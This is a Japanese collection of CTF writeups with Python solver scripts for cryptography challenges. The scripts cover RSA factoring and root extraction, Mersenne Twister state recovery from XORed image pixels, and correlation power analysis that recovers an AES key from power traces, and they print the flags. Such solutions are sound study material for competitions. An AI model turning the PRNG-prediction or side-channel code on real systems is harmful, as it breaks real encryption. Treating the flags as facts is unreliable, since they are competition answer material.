Crypto CTF 2022 Writeup

この大会は2022/7/15 23:00(JST)~2022/7/16 23:00(JST)に開催されました。
今回もチームで参戦。結果は246点で421チーム中96位でした。
自分で解けた問題をWriteupとして書いておきます。

Mic Check

Announcementsのページにフラグが書いてあった。

CCTF{Th3_B3sT_1S_Yet_t0_C0m3!!}

polyRSA

RSA暗号スクリプトを見ると、以下の式で表せるので、n = p * qからkの方程式となる。

p = k**6 + 7*k**4 - 40*k**3 + 12*k**2 - 114*k + 31377
q = k**5 - 8*k**4 + 19*k**3 - 313*k**2 - 14*k + 14011

kを求めることができたら、p, qが割り出せ、フラグを求めることができる。

#!/usr/bin/env python3
from sympy import *
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' = ')[1])
c = int(params[1].split(' = ')[1])
e = 31337

k = symbols('k')
p = k**6 + 7*k**4 - 40*k**3 + 12*k**2 - 114*k + 31377
q = k**5 - 8*k**4 + 19*k**3 - 313*k**2 - 14*k + 14011
ans = solve(p * q - n, k)
k = int(ans[0])
p = k**6 + 7*k**4 - 40*k**3 + 12*k**2 - 114*k + 31377
q = k**5 - 8*k**4 + 19*k**3 - 313*k**2 - 14*k + 14011
assert p * q == n

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
CCTF{F4C70r!N9_tRIcK5_aR3_fUN_iN_RSA?!!!}

Klamkin

$ nc 04.cr.yp.toc.tf 13777
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|  Hello, now we are finding the integer solution of two divisibility  |
|  relation. In each stage send the requested solution. Have fun :)    |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| We know (ax + by) % q = 0 for any (a, b) such that (ar + bs) % q = 0
| and (q, r, s) are given!
| Options: 
|	[G]et the parameters 
|	[S]end solution 
|	[Q]uit
G
| q = 215878944134145492027429935034914189893
| r = 189988045489632921439900375442954959636
| s = 50693894044872920716130473461170925311
| Options: 
|	[G]et the parameters 
|	[S]end solution 
|	[Q]uit
S
| please send requested solution like x, y such that x is 12-bit:

この条件を満たすようできるだけチェックして、x, yを送信する。

#!/usr/bin/env python3
import socket
import random
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('04.cr.yp.toc.tf', 13777))

data = recvuntil(sock, b'[Q]uit\n').rstrip()
print(data)
print('G')
sock.sendall(b'G\n')

data = recvuntil(sock, b'\n').rstrip()
print(data)
q = int(data.split(' = ')[1])
data = recvuntil(sock, b'\n').rstrip()
print(data)
r = int(data.split(' = ')[1])
data = recvuntil(sock, b'\n').rstrip()
print(data)
s = int(data.split(' = ')[1])

nums = 8192
_as = []
_bs = []
for i in range(nums):
    a = random.randint(0, q - 1)
    b = (- a * r) * inverse(s, q) % q
    _as.append(a)
    _bs.append(b)

data = recvuntil(sock, b'[Q]uit\n').rstrip()
print(data)
print('S')
sock.sendall(b'S\n')

for _ in range(5):
    data = recvuntil(sock, b'\n').rstrip()
    print(data)
    bits = int(data.split(' ')[-1].split('-')[0])

    while True:
        x = getPrime(bits)
        y = (- _as[0] * x) * inverse(_bs[0], q) % q
        success = True
        for i in range(1, nums):
            if (_as[i] * x + _bs[i] * y) % q != 0:
                success = False
                break
        if success:
            break

    payload = '%d, %d' % (x, y)
    print(payload)
    sock.sendall(payload.encode() + b'\n')
    data = recvuntil(sock, b'\n').rstrip()
    print(data)

100%ではないが、何回かスクリプトを実行したら、フラグが表示された。

||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|  Hello, now we are finding the integer solution of two divisibility  |
|  relation. In each stage send the requested solution. Have fun :)    |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| We know (ax + by) % q = 0 for any (a, b) such that (ar + bs) % q = 0
| and (q, r, s) are given!
| Options:
|       [G]et the parameters
|       [S]end solution
|       [Q]uit
G
| q = 194048517521350378413240926000241468131
| r = 124091173172322909192577830065380311502
| s = 125784318141643034410048832868626560137
| Options:
|       [G]et the parameters
|       [S]end solution
|       [Q]uit
S
| please send requested solution like x, y such that x is 12-bit:
4003, 56315245500619432502650438678207650543
| good job, try to solve the next challenge :P
| please send requested solution like x, y such that x is 13-bit:
4969, 67239017344217759003982457872096061654
| good job, try to solve the next challenge :P
| please send requested solution like x, y such that x is 16-bit:
35591, 9353017490916509269353419200010234699
| good job, try to solve the next challenge :P
| please send requested solution like x, y such that x is 19-bit:
423697, 16192597119110039724350397972254848401
| good job, try to solve the next challenge :P
| please send requested solution like x, y such that x is 25-bit:
29193553, 98744654374489514592696831569244696517
| Congrats, you got the flag: CCTF{f1nDin9_In7Eg3R_50Lut1Ons_iZ_in73rEStIn9!}
CCTF{f1nDin9_In7Eg3R_50Lut1Ons_iZ_in73rEStIn9!}

Baphomet

暗号処理は以下の通り。

・ba: flagをbase64エンコード
・baph, key = '', ''
・baの各文字について、以下の処理を実行
 ・英小文字の場合、baphに大文字にして結合、keyに'0'を結合
 ・英小文字以外の場合、baphに小文字にして結合、keyに'1'を結合
・key: keyをバイト文字列に変換
・enc = b''
・baphの長さだけ以下の処理を実行
 ・baph[i] ^ key[i % len(key)]のバイト文字をencに結合
・encをファイル出力

フラグがCCTF{から始まることを前提にkeyを求める。

#!/usr/bin/env python3
from base64 import b64encode, b64decode

with open('flag.enc', 'rb') as f:
    enc = f.read()

assert len(enc) == 48

flag_head = b'CCTF{'
b64_flag_head = b64encode(flag_head)[:-2]
baph = ''
for b in b64_flag_head.decode():
    if b.islower():
        baph += b.upper()
    else:
        baph += b.lower()

key = b''
for i in range(len(baph)):
    key += bytes([ord(baph[i]) ^ enc[i]])

assert len(key) == 48 // 8

rev_b64_flag = b''
for i in range(len(enc)):
    rev_b64_flag += bytes([enc[i] ^ key[i % len(key)]])
rev_b64_flag = rev_b64_flag.decode()

b64_flag = b''
for b in rev_b64_flag:
    if b.isupper():
        b64_flag += b.lower().encode()
    else:
        b64_flag += b.upper().encode()

flag = b64decode(b64_flag).decode()
print(flag)
CCTF{UpP3r_0R_lOwER_17Z_tH3_Pr0bL3M}

Volgo

「GET ENCRYPTED FLAG :)」をクリックすると、以下の情報が得られる。

{"flag": "BBHAC QDFAA KGBMH RVZSK RNVZH NGRAM WYHHE HKHJU UCQBL HPVAP TXDCZ ZMKWX ETCKC CMBSC VKUUF BMAIV RTAJE EWOUS SMOTQ KNQBF IRDVZ YJWQK WEAIA TONBI MMBUI RCULP BKEIO LNOAM XLUDR XJYAM DMWJN DUXXV FDVOC BBHAC QDFAA"}

「ENCIPHER ABOVE TEXT」でいくつか平文を入力し、暗号を試してみる。

A
{"cipher": "BBHAC QDFAA IXXXX BBHAC QDFAA"}

AA
{"cipher": "BBHAC QDFAA IUXXX BBHAC QDFAA"}

AAA
{"cipher": "BBHAC QDFAA IUVXX BBHAC QDFAA"}

AAAA
{"cipher": "BBHAC QDFAA IUVLX BBHAC QDFAA"}

AAAAA
{"cipher": "BBHAC QDFAA IUVLR BBHAC QDFAA"}

BBBBB
{"cipher": "BBHAC QDFAA HTUKQ BBHAC QDFAA"}

AAAAAAAAAAAAAAAAAAAA
{"cipher": "BBHAC QDFAA IUVLR EJVRR FJUSV MLFRY BBHAC QDFAA"}

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
{"cipher": "BBHAC QDFAA IUVLR EJVRR FJUSV MLFRY WRGMP HQGSO MVPQF AOPPR BBHAC QDFAA"}

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
{"cipher": "BBHAC QDFAA HTUKQ DIUQQ EITRU LKEQX VQFLO GPFRN LUOPE ZNOOQ BBHAC QDFAA"}

どうやら先頭と末尾の"BBHAC QDFAA"を除いて、Vigenere暗号になっているようだ。"flag"の暗号と同じ長さ(5*31)になるよう"A"の文字列を指定し、暗号を求める。この場合の暗号は鍵になるので、その鍵から"flag"の暗号を復号する。

"A" * 155
{"cipher": "BBHAC QDFAA IUVLR EJVRR FJUSV MLFRY WRGMP HQGSO MVPQF AOPPR HJLPF YXOPQ IKUJY KFIAP UMOLQ ZLBZV TXSIJ SHZIO WPNUO JPSUK HFREL NVZTS TGLVN PTGFR GYGRS STPGB PZWTG DYITJ SOPQU JHWPT SIBSE QDYSW TPPMT BBHAC QDFAA"}
#!/usr/bin/env python3
from string import *

def decrypt(key, ct):
    pt = ''
    for i in range(len(ct)):
        index_c = ascii_uppercase.index(ct[i])
        index_k = ascii_uppercase.index(key[i])
        index = (index_k - index_c) % len(ascii_uppercase)
        pt += ascii_uppercase[index]
    return pt

msg_enc = 'BBHAC QDFAA KGBMH RVZSK RNVZH NGRAM WYHHE HKHJU UCQBL HPVAP ' \
    + 'TXDCZ ZMKWX ETCKC CMBSC VKUUF BMAIV RTAJE EWOUS SMOTQ KNQBF IRDVZ ' \
    + 'YJWQK WEAIA TONBI MMBUI RCULP BKEIO LNOAM XLUDR XJYAM DMWJN DUXXV ' \
    + 'FDVOC BBHAC QDFAA'
msg_enc = msg_enc.replace('BBHAC QDFAA', '')
msg_enc = msg_enc.replace(' ', '')

key = 'BBHAC QDFAA IUVLR EJVRR FJUSV MLFRY WRGMP HQGSO MVPQF AOPPR HJLPF ' \
    + 'YXOPQ IKUJY KFIAP UMOLQ ZLBZV TXSIJ SHZIO WPNUO JPSUK HFREL NVZTS ' \
    + 'TGLVN PTGFR GYGRS STPGB PZWTG DYITJ SOPQU JHWPT SIBSE QDYSW TPPMT ' \
    + 'BBHAC QDFAA'
key = key.replace('BBHAC QDFAA', '')
key = key.replace(' ', '')

msg = decrypt(key, msg_enc)
print(msg)

復号した結果は以下の通り。

YOUZKNOWZHOWZTOZFORMATZFLAGZJUSTZPUTZUPCOMINGZLETTERSZWITHINZCURLYZBRACESZFOLLOWEDZBYZCCTFZOOJMPMDDIXCLNNWFTEJUMFXKBRVVMOPSLSSLUTXVDVNDMYYPHPWFJRNJBVBOMUYR

"Z"をスペースに置き換える。

YOU KNOW HOW TO FORMAT FLAG JUST PUT UPCOMING LETTERS WITHIN CURLY BRACES FOLLOWED BY CCTF OOJMPMDDIXCLNNWFTEJUMFXKBRVVMOPSLSSLUTXVDVNDMYYPHPWFJRNJBVBOMUYR
CCTF{OOJMPMDDIXCLNNWFTEJUMFXKBRVVMOPSLSSLUTXVDVNDMYYPHPWFJRNJBVBOMUYR}

vsCTF 2022 Writeup

この大会は2022/7/10 1:00(JST)~2022/7/11 1:00(JST)に開催されました。
今回もチームで参戦。結果は2372点で635チーム中60位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Web)

HTMLソースのコメントにフラグが書いてあった。

vsctf{v1ew_s0urc3_a_f1rst_y3ar_t3am!}

Discord (Miscellaneous)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

vsctf{w3lc0m3_t0_vsctf_2022!}

Recovery (Cryptography)

スクリプトの処理概要は以下の通り。

・validate(passwd)がTrueの場合、パスワードがフラグとなる。
 ・passwdの長さは49バイトでない場合、Falseを返す。
 ・key: passwdの末尾から1バイト飛びで、各文字のASCIIコード分"[7-9]vs"という形式の文字列を構成した配列
 ・gate: 固定の25個の整数配列
 ・gateとkeyについて、各index(=i)について以下が成り立つ。
  ・a = i + 1
  ・len(key[i]) == 3 * (gate[i] + 7 * a) // a
 ・hammer: passwdの2バイト目から1バイト飛びで、12個目まで以下のような構成になる。
  {1: passwd[1] + passwd[25], 3: passwd[3] + passwd[27], ..., }
 ・hammerの各要素でpasswd[i] + passwd[i+24]を"."で結合したものをbase64エンコードしたものが
  b'c3MxLnRkMy57XzUuaE83LjVfOS5faDExLkxfMTMuR0gxNS5fTDE3LjNfMTkuMzEyMS5pMzIz'と一致しない場合
  Falseを返す。
 ・Trueを返す。

まず末尾から1バイト飛びの文字については、3 * (gate[i] + 7 * a) // aを計算し、3で割ったものがASCIIコードになることを使って、復元する。次に先頭2バイトから1バイト飛びの文字については、base64デコードしたものから"."区切りで順に文字列を取り出し、復元する。あとは復元したものを交互に結合し、フラグを復元する。

#!/usr/bin/env python3
from base64 import b64decode

gate = [118, 140, 231, 176, 205, 480, 308, 872, 702, 820, 1034, 1176, 1339,
    1232, 1605, 1792, 782, 810, 1197, 880, 924, 1694, 2185, 2208, 2775]

flag2 = ''
for i in range(25):
    a = i + 1
    code = (3 * (gate[i] + 7 * a) // a) // 3
    flag2 = chr(code) + flag2

block = b'c3MxLnRkMy57XzUuaE83LjVfOS5faDExLkxfMTMuR0gxNS5fTDE3LjNfMTkuMzEyMS5pMzIz'

flag1 = [''] * 24
s = b64decode(block).split(b'.')
for i in range(len(s)):
    flag1[i] = chr(s[i][0])
    flag1[i+12] = chr(s[i][1])
flag1 = ''.join(flag1)

flag = ''
for i in range(len(flag1)):
    flag += flag2[i]
    flag += flag1[i]
flag += flag2[-1]
print(flag)
vsctf{Th353_FL4G5_w3r3_inside_YOU_th3_WH0L3_T1M3}

Baby RSA (Cryptography)

公開鍵を読み取ると、以下のようになっている。

n = 52419317100235286358057114349639882093779997394202082664044401328860087685103
e = 101

nをyafuで素因数分解する。

>yafu-x64.exe "factor(52419317100235286358057114349639882093779997394202082664044401328860087685103)" -v -threads 4


07/10/22 07:20:04 v1.34.5 @ XXXX-XXXX, System/Build Info:
Using GMP-ECM 6.3, Powered by GMP 5.1.1
detected Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz
detected L1 = 32768 bytes, L2 = 16777216 bytes, CL = 64 bytes
measured cpu frequency ~= 2894.441030
using 20 random witnesses for Rabin-Miller PRP checks

===============================================================
======= Welcome to YAFU (Yet Another Factoring Utility) =======
=======             bbuhrow@gmail.com                   =======
=======     Type help at any time, or quit to quit      =======
===============================================================
cached 78498 primes. pmax = 999983


>> fac: factoring 52419317100235286358057114349639882093779997394202082664044401328860087685103
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
rho: x^2 + 3, starting 1000 iterations on C77
rho: x^2 + 2, starting 1000 iterations on C77
rho: x^2 + 1, starting 1000 iterations on C77
pm1: starting B1 = 150K, B2 = gmp-ecm default on C77
fac: setting target pretesting digits to 23.69
fac: sum of completed work is t0.00
fac: work done at B1=2000: 0 curves, max work = 30 curves
fac: 30 more curves at B1=2000 needed to get to t23.69
ecm: 30/30 curves on C77, B1=2K, B2=gmp-ecm default
fac: setting target pretesting digits to 23.69
fac: t15: 1.00
fac: t20: 0.04
fac: sum of completed work is t15.18
fac: work done at B1=11000: 0 curves, max work = 74 curves
fac: 74 more curves at B1=11000 needed to get to t23.69
ecm: 74/74 curves on C77, B1=11K, B2=gmp-ecm default
fac: setting target pretesting digits to 23.69
fac: t15: 7.17
fac: t20: 1.04
fac: t25: 0.05
fac: sum of completed work is t20.24
fac: work done at B1=50000: 0 curves, max work = 214 curves
fac: 149 more curves at B1=50000 needed to get to t23.69
ecm: 149/149 curves on C77, B1=50K, B2=gmp-ecm default, ETA: 0 sec
fac: setting target pretesting digits to 23.69
fac: t15: 28.45
fac: t20: 8.13
fac: t25: 0.74
fac: t30: 0.05
fac: sum of completed work is t23.72

starting SIQS on c77: 52419317100235286358057114349639882093779997394202082664044401328860087685103

==== sieve params ====
n = 79 digits, 260 bits
factor base: 34944 primes (max prime = 882967)
single large prime cutoff: 75052195 (85 * pmax)
allocating 7 large prime slices of factor base
buckets hold 2048 elements
using SSE4.1 enabled 32k sieve core
sieve interval: 10 blocks of size 32768
polynomial A has ~ 10 factors
using multiplier of 23
using SPV correction of 22 bits, starting at offset 41
using SSE2 for x64 sieve scanning
using SSE2 for resieving 13-16 bit primes
using SSE2 for 8x trial divison to 13 bits
using SSE4.1 and inline ASM for small prime sieving
using SSE2 for poly updating up to 15 bits
using SSE4.1 for medium prime poly updating
using SSE4.1 and inline ASM for large prime poly updating
trial factoring cutoff at 88 bits

==== sieving in progress ( 4 threads):   35008 relations needed ====
====            Press ctrl-c to abort and save state            ====
35775 rels found: 18827 full + 16948 from 179344 partial, (10962.98 rels/sec)

sieving required 60180 total polynomials
trial division touched 2821739 sieve locations out of 39439564800
QS elapsed time = 18.1073 seconds.

==== post processing stage (msieve-1.38) ====
begin with 198171 relations
reduce to 50546 relations in 2 passes
attempting to read 50546 relations
recovered 50546 relations
recovered 34267 polynomials
freed 24 duplicate relations
attempting to build 35751 cycles
found 35751 cycles in 1 passes
distribution of cycle lengths:
   length 1 : 18824
   length 2 : 16927
largest cycle: 2 relations
matrix is 34944 x 35751 (5.1 MB) with weight 1050811 (29.39/col)
sparse part has weight 1050811 (29.39/col)
filtering completed in 3 passes
matrix is 24604 x 24668 (3.9 MB) with weight 816278 (33.09/col)
sparse part has weight 816278 (33.09/col)
saving the first 48 matrix rows for later
matrix is 24556 x 24668 (3.2 MB) with weight 660080 (26.76/col)
sparse part has weight 586096 (23.76/col)
matrix includes 64 packed rows
using block size 9867 for processor cache size 16384 kB
commencing Lanczos iteration
memory use: 2.9 MB
lanczos halted after 390 iterations (dim = 24548)
recovered 13 nontrivial dependencies
Lanczos elapsed time = 0.8640 seconds.
Sqrt elapsed time = 0.0230 seconds.
SIQS elapsed time = 18.9947 seconds.
pretesting / qs ratio was 0.59
Total factoring time = 30.2311 seconds


***factors found***

P39 = 283378097758180413812138939650885549231
P39 = 184980129074643957218827272858529362113

ans = 1

p - 1もq - 1もeと互いに素ではないため、通常の復号方法で復号できない。mod p, qの場合の式で、このことを前提にCRTを使いながら、復号する。

#!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
from sympy.ntheory.modular import crt

c = 0x459cc234f24a2fb115ff10e272130048d996f5b562964ee6138442a4429af847

with open('pubkey.pem', 'r') as f:
    pub_data = f.read()

pubkey = RSA.importKey(pub_data)
n = pubkey.n
e = pubkey.e
print('[+] n =', n)
print('[+] e =', e)

p = 283378097758180413812138939650885549231
q = 184980129074643957218827272858529362113
assert p * q == n
assert (p - 1) % e == 0
assert (q - 1) % e == 0

_lambda = p - 1
assert _lambda % e == 0
assert _lambda // e % e != 0
L = pow(2, _lambda // e, p)
assert L > 1
d = inverse(e, _lambda // e)

m1s = []
for i in range(e):
    m = pow(c % p, d, p) * pow(L, i, p) % p
    m1s.append(m)

_lambda = q - 1
assert _lambda % e == 0
assert _lambda // e % e != 0
L = pow(2, _lambda // e, q)
assert L > 1
d = inverse(e, _lambda // e)

m2s = []
for i in range(e):
    m = pow(c % q, d, q) * pow(L, i, q) % q
    m2s.append(m)

for m1 in m1s:
    for m2 in m2s:
        m, _ = crt([p, q], [m1, m2])
        flag = long_to_bytes(m)
        if flag.startswith(b'vsctf{'):
            flag = flag.decode()
            print('[*] flag:', flag)
            break

実行結果は以下の通り。

[+] n = 52419317100235286358057114349639882093779997394202082664044401328860087685103
[+] e = 101
[*] flag: vsctf{5m411_Pr1m3_15_Un54f3!}
vsctf{5m411_Pr1m3_15_Un54f3!}

Art Final (Cryptography)

暗号処理の概要は以下の通り。

・boring_pix: Art_Final_2022.pngのデータ
・spicy_pix: 新イメージデータ初期化
・rgba: ランダム32ビット整数を8ビットずつリトルエンディアンで分離
・spicy_pix: boring_pixの各ピクセルのRGBAデータとrgbaとのXOR
・spicy_pixをENHANCED_Final_2022.pngに保存
・key: ランダム16バイト文字列
・iv: ランダム16バイト文字列
・iv + flagをパディングしてAES-CBC暗号化し、その後base64エンコードしたものを表示

32bitランダム整数のデータがたくさん得られそうなので、Mersenne Twisterの特徴から状態を復元し、ランダム値を得られるようにすれば、AESの鍵が得られ、復号できる。

#!/usr/bin/env python3
import random
from PIL import Image
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from base64 import b64decode

def four_to_one_int(ns):
    ret = 0
    for n in ns[::-1]:
        ret *= 256
        ret += n
    return ret

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

boring = Image.open('Art_Final_2022.png', 'r').convert('RGBA')
boring_pix = boring.load()

spicy = Image.open('ENHANCED_Final_2022.png', 'r').convert('RGBA')
spicy_pix = spicy.load()

N = 624
state = []
collect = True
for i in range(boring.size[0] * boring.size[1]):
    x = i % boring.size[0]
    y = i // boring.size[0]
    rgba = tuple([bore ^ spice for bore, spice \
        in zip(boring_pix[x, y], spicy_pix[x, y])])
    num = four_to_one_int(rgba)
    if collect:
        state.append(untemper(num))
    else:
        rgba2 = tuple(random.randbytes(4))
        assert rgba == rgba2
    if len(state) == 624:
        collect = False
        state.append(N)
        random.setstate([3, tuple(state), None])

enc_flag = b64decode('Tl5nK8L2KYZRCJCqLF7TbgKLgy1vIkH+KIAJv5/ILFoC+llemcmoLmCQYkiOrJ/orOOV+lwX+cVh+pwE5mtx6w==')

key = bytes(random.sample(random.randbytes(16), 16))
iv = enc_flag[:AES.block_size]
enc = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(enc.decrypt(enc_flag[AES.block_size:]), AES.block_size).decode()
print(flag)
vsctf{1_gu355_R4ND0m_i5nt_tH4T_5p1cy}

Feedback Survey (Miscellaneous)

アンケートに答えたら、フラグが表示された。

vsctf{surv3y_c0mpl3t3r}

Google Capture The Flag 2022 Writeup

この大会は2022/7/2 3:00(JST)~2022/7/4 3:00(JST)に開催されました。
今回もチームで参戦。結果は405点で382チーム中112位でした。
自分で解けた問題をWriteupとして書いておきます。

ELECTRIC MAYHEM CLS (crypto)

AESの相関電力解析の問題。
9回同じ波形があり、最後の1回が似ているが特に後半が異なる波形になっている。このことからラウンド数が10のAES-128であると推測できる。平文と暗号文のペアと対応するトレースデータが50個ずつある。Square CTF 2018 の「leaky power」の問題で使ったスクリプトを流用して、秘密鍵を推測する。

#!/usr/bin/env python3
import numpy as np
import json

HW = [bin(n).count('1') for n in range(256)]

sbox=(
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16)

def intermediate(pt, keyguess):
    return sbox[pt ^ keyguess]

with open('traces.json', 'r') as f:
    input = json.load(f)

NUM_TRACES = len(input)

pt_list = [input[x]['pt'] for x in range(NUM_TRACES)]
ct_list = [input[x]['ct'] for x in range(NUM_TRACES)]
tr_list = [input[x]['pm'] for x in range(NUM_TRACES)]

pt = np.array(pt_list)
traces = np.array(tr_list)

numtraces = np.shape(traces)[0] - 1
numpoint = np.shape(traces)[1]

bestguess = [0] * 16
# Set 16 to something lower (like 1) to only go through a single subkey & save time!
for bnum in range(0, 16):
    cpaoutput = [0] * 256
    maxcpa = [0] * 256
    for kguess in range(256):
        print('Subkey %2d, hyp = %02x: ' % (bnum, kguess), end='')

        # Initialize arrays & variables to zero
        sumnum = np.zeros(numpoint)
        sumden1 = np.zeros(numpoint)
        sumden2 = np.zeros(numpoint)

        hyp = np.zeros(numtraces)
        for tnum in range(0, numtraces):
            hyp[tnum] = HW[intermediate(pt[tnum][bnum], kguess)]

        # Mean of hypothesis
        meanh = np.mean(hyp, dtype=np.float64)

        # Mean of all points in trace
        meant = np.mean(traces, axis=0, dtype=np.float64)

        # For each trace, do the following
        for tnum in range(0, numtraces):
            hdiff = (hyp[tnum] - meanh)
            tdiff = traces[tnum,:] - meant

            sumnum = sumnum + (hdiff*tdiff)
            sumden1 = sumden1 + hdiff*hdiff 
            sumden2 = sumden2 + tdiff*tdiff

        cpaoutput[kguess] = sumnum / np.sqrt( sumden1 * sumden2 )
        maxcpa[kguess] = max(abs(cpaoutput[kguess]))

        print(maxcpa[kguess])

    # Find maximum value of key
    bestguess[bnum] = np.argmax(maxcpa)

print('Best Key Guess: ', end='')
key = ''.join([chr(b) for b in bestguess])
print(key)

flag = 'CTF{%s}' % key
print('flag:', flag)

実行結果は以下の通り。

        :
Subkey 15, hyp = cc: 0.45401490813444945
Subkey 15, hyp = cd: 0.49010720993093665
Subkey 15, hyp = ce: 0.47146697427617695
Subkey 15, hyp = cf: 0.5068288359807762
Subkey 15, hyp = d0: 0.4838081788859939
Subkey 15, hyp = d1: 0.4854645790828718
Subkey 15, hyp = d2: 0.47397043847121284
Subkey 15, hyp = d3: 0.5154221414830332
Subkey 15, hyp = d4: 0.4634683845549041
Subkey 15, hyp = d5: 0.49131398564000117
Subkey 15, hyp = d6: 0.4967844598971371
Subkey 15, hyp = d7: 0.5193739416317773
Subkey 15, hyp = d8: 0.4572149886848642
Subkey 15, hyp = d9: 0.43301119798033977
Subkey 15, hyp = da: 0.44607019995923475
Subkey 15, hyp = db: 0.48586908211596014
Subkey 15, hyp = dc: 0.4547689799953138
Subkey 15, hyp = dd: 0.49644633789896647
Subkey 15, hyp = de: 0.48473268198250025
Subkey 15, hyp = df: 0.5015684523731578
Subkey 15, hyp = e0: 0.4855245154529038
Subkey 15, hyp = e1: 0.4773965708833608
Subkey 15, hyp = e2: 0.483905093869241
Subkey 15, hyp = e3: 0.5556550860760712
Subkey 15, hyp = e4: 0.4352508778926109
Subkey 15, hyp = e5: 0.5122373178124859
Subkey 15, hyp = e6: 0.48014300426842854
Subkey 15, hyp = e7: 0.4643384099621492
Subkey 15, hyp = e8: 0.4744772626333159
Subkey 15, hyp = e9: 0.45481497339412846
Subkey 15, hyp = ea: 0.5126674568619023
Subkey 15, hyp = eb: 0.43493989441426584
Subkey 15, hyp = ec: 0.43329852870845154
Subkey 15, hyp = ed: 0.45082959861817234
Subkey 15, hyp = ee: 0.4564515034569882
Subkey 15, hyp = ef: 0.5165751160466153
Subkey 15, hyp = f0: 0.4382706117302386
Subkey 15, hyp = f1: 0.4925133649778097
Subkey 15, hyp = f2: 0.49171365134234124
Subkey 15, hyp = f3: 0.5044774672690812
Subkey 15, hyp = f4: 0.4813231064962157
Subkey 15, hyp = f5: 0.4651318090071481
Subkey 15, hyp = f6: 0.5422507667075844
Subkey 15, hyp = f7: 0.6048876171470424
Subkey 15, hyp = f8: 0.4727434836122757
Subkey 15, hyp = f9: 0.5027699323037813
Subkey 15, hyp = fa: 0.508061038753254
Subkey 15, hyp = fb: 0.4922862591756897
Subkey 15, hyp = fc: 0.5668312430143295
Subkey 15, hyp = fd: 0.46998646853436393
Subkey 15, hyp = fe: 0.45107537517359675
Subkey 15, hyp = ff: 0.4851766132658818
Best Key Guess: W0ckAwocKaWoCka1
flag: CTF{W0ckAwocKaWoCka1}
CTF{W0ckAwocKaWoCka1}

Azure Assassin Alliance CTF 2022 Writeup

この大会は2022/6/25 10:00(JST)~2022/6/27 10:00(JST)に開催されました。
今回もチームで参戦。結果は980点で310チーム中53位でした。
自分で解けた問題をWriteupとして書いておきます。

signin (Misc)

$ file flag
flag: bzip2 compressed data, block size = 900k
$ mv flag flag.bz2
$ bzip2 -d flag.bz2
$ file flag
flag: XZ compressed data
$ xz -d flag.xz 
xz: flag: ファイルのパーミッションを設定できません: 定義されたデータ型に対して値が大きすぎます
$ file flag
flag: bzip2 compressed data, block size = 900k
$ mv flag flag.bz2
$ bzip2 -d flag.bz2
$ file flag
flag: LZMA compressed data, streamed
$ mv flag flag.lzma
$ xz --format=lzma --decompress flag.lzma
